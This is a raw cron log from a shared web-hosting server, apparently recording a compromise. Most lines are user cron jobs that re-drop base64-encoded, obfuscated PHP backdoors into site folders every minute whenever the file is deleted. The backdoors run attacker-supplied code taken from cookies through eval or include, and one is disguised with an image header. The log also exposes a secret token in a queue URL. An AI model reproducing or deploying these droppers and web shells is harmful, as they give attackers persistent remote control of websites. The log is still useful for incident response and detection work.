Mar  1 09:32:01 medusa CROND[2510]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:32:01 medusa CROND[2511]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:33:01 medusa CROND[24996]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:33:01 medusa CROND[24997]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:33:01 medusa CROND[24998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:33:01 medusa CROND[24999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:33:01 medusa CROND[25000]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:33:01 medusa CROND[25001]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:33:01 medusa CROND[25004]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:33:01 medusa CROND[25006]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:33:01 medusa CROND[25008]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:33:01 medusa CROND[25009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:33:01 medusa CROND[25011]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:33:01 medusa CROND[25014]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:34:01 medusa CROND[14918]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:34:01 medusa CROND[14981]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:34:01 medusa CROND[15042]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:34:01 medusa CROND[15043]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:34:01 medusa CROND[15041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:34:01 medusa CROND[15045]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:34:01 medusa CROND[15048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:34:01 medusa CROND[15049]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:34:01 medusa CROND[15050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:34:01 medusa CROND[15052]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:34:01 medusa CROND[15062]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:34:01 medusa CROND[15061]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:34:01 medusa CROND[15066]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[4878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
